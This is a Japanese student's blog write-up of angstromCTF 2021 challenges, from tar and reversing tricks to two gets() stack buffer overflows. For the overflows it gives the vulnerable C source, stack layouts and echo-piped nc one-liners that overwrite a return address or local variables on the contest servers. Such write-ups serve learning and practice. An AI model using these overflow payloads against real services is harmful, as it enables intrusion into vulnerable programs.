camera510PC7の栞

情報系学生のTips、ポエム、活動記録

angstromCTF 2021 WriteUp

概要

angstromCTF 2021に参加したのでそのWriteUpです。

Misc

Archaic

f:id:camera510PC7:20210409144911p:plain

archive.tar.gzの中身を確認してみます。

f:id:camera510PC7:20210409144928p:plain

shellサーバの中のarchive.tar.gzの中にflag.txtが入っており、この中身が見れればOKのようです。

以下のtarコマンドを使って展開してみます。

tar xzvf archive.tar.gz

Operation not permittedとなって実行することが出来ません。

f:id:camera510PC7:20210409144942p:plain

そこでファイル出力せずにファイルの中身を確認することにします。

以下のコマンドを実行します。

tar -zxOf archive.tar.gz flag.txt

flagが表示されました。

f:id:camera510PC7:20210409144959p:plain

Rev

FREE FLAGS!!1!!

nc shell.actf.co 21703に接続してみます。

f:id:camera510PC7:20210409145014p:plain

What number am I thinking of???と訊かれるので適当に数字を打ち込んでみると
Wrong >:((((となります。

f:id:camera510PC7:20210409145028p:plain

プログラムをGhidraで解析してみます。

数字の入力が訊かれる部分を逆コンパイルすると以下のようになります。

f:id:camera510PC7:20210409145120p:plain

どうやらWhat number am I thinking of???で訊かれる数字は31337であり、そのあとに訊かれるWhat two numbers am I thinking of???では足して1142、掛けて302937になる二つの数字、What animal am I thinking of???ではbananaという文字列を入力することでflagが表示されるようです。

足して1142、掛けて302937になる二つの数字を見つけます。

302937を素因数分解すると3×241×419になります。

3 × 241 + 419 = 723 + 419 = 1142なので入力する数字は723と419になります。

入力すると以下のようになりflagが表示されます。

f:id:camera510PC7:20210409145136p:plain

BINARY

tranquil

nc shell.actf.co 21830に接続してみます。

Enter the secret wordと訊かれます。適当に文字を入力するとLogin failed!と表示されます。

f:id:camera510PC7:20210409145154p:plain

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int win(){
    char flag[128];
    
    FILE *file = fopen("flag.txt","r");
    
    if (!file) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    
    fgets(flag, 128, file);
    
    puts(flag);
}





int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}


int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    
    // not so easy for you!
    // win();
    
    return 0;
}

ソースコードを見てみるとgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。

またwin関数を実行することでflagが表示されるようです。

つまりバッファオーバフローを起こしてリターンアドレスを書き換えることでflagがゲットできそうです。

プログラムをGhidraで解析してwin関数のアドレスを調べます。

f:id:camera510PC7:20210409151117p:plain

win関数のアドレスは00401196であることが分かりました。

リターンアドレスを書き換えるコードを作成します。(今回はshellのワンライナーで解きました)

vuln関数はpasswordが64バイトであり、古いrbpが8バイトあるためスタックは以下のようになります。

位置 大きさ 内容
rbp - 0x40 64バイト password
rbp 8バイト 古いrbp
rbp + 0x08 8バイト リターンアドレス

※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意

つまり72バイト適当な文字列を入力した後、 win関数のリターンアドレスを入力すればよさそうです。

以下shellのワンライナー

echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x40\x00' | nc shell.actf.co 21830

※アドレスを入力するときはリトルエンディアンにする

実行すると以下のようになりflagが出ます。

f:id:camera510PC7:20210409145232p:plain

Sanity Checks

nc shell.actf.co 21303に接続します。

Enter the secret wordと訊かれるので適当な文字列を入力するとLogin failed!と弾かれます。

f:id:camera510PC7:20210409145246p:plain

ソースコード

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char password[64];
    int ways_to_leave_your_lover = 0;
    int what_i_cant_drive = 0;
    int when_im_walking_out_on_center_circle = 0;
    int which_highway_to_take_my_telephones_to = 0;
    int when_i_learned_the_truth = 0;
    
    printf("Enter the secret word: ");
    
    gets(&password);
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) {
                            char flag[128];
                            
                            FILE *f = fopen("flag.txt","r");
                            
                            if (!f) {
                                printf("Missing flag.txt. Contact an admin if you see this on remote.");
                                exit(1);
                            }
                            
                            fgets(flag, 128, f);
                            
                            printf(flag);
                            return;
                        }
                    }
                }
            }
        }
        puts("Nope, something seems off.");
    } else {
        puts("Login failed!");
    }
}

ソースコードを見てみるとtranquilと同じくgetsを使っていて入力できる文字数を制限していないためバッファオーバフローが起こせそうです。

このプログラムでflagを表示させるには6個の条件がそろう必要があります。

  1. 変数passwordの内容がpassword123
  2. 変数ways_to_leave_your_loverの値が50
  3. 変数what_i_cant_driveの値が55
  4. 変数when_im_walking_out_on_center_circleの値が245
  5. 変数which_highway_to_take_my_telephones_toの値が61
  6. 変数when_i_learned_the_truthの値が17

バッファオーバフローで変数の中身を書き換えるためにスタックの並びを調べます。今回はGhidraで解析します。

上記のソースコードをもとに逆コンパイル結果の変数名を修正するとmain関数のスタックは以下のようになります。

f:id:camera510PC7:20210409145309p:plain

これを表にまとめると以下のようになります。

位置 大きさ 内容
rbp - 0xe0 128バイト flag
rbp - 0x60 64バイト password
rbp - 0x20 12バイト *f
rbp - 0x14 4バイト when_i_learned_the_truth
rbp - 0x10 4バイト which_highway_to_take_my_telephones_to
rbp - 0x0c 4バイト when_im_walking_out_on_center_circle
rbp - 0x08 4バイト what_i_cant_drive
rbp - 0x04 4バイト ways_to_leave_your_lover
rbp 8バイト 古いrbp

※Ghidraのアドレス表示はリターンアドレスを基準としたもの(上記の表より8バイトずれている)なので注意

つまりpassword123を入力した後53バイト分Null文字、12バイト分のNullポインタ、17を16進数に変換したもの(0x11)、61を16進数に変換したもの(0x3d)、245を16進数に変換したもの(0xf5)、55を16進数に変換したもの(0x37)、50を16進数に変換したもの(0x32)を入力します。

f:id:camera510PC7:20210409145752j:plain

これらの情報をもとにコードを作成します。

以下shellのワンライナー

echo -e 'password123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x3d\x00\x00\x00\xF5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | nc shell.actf.co 21303

※整数値を入力するときはリトルエンディアンにする

実行すると以下のようになりflagが出ます。

f:id:camera510PC7:20210409145342p:plain

感想

今回は大学サークルのチームとして参加して、自分は4問解きました。

f:id:camera510PC7:20210409145356p:plain

自分は2年前にも参加しました。その時は全く歯が立たなかったですが、今回は少しだけでも解けたので成長を実感できました。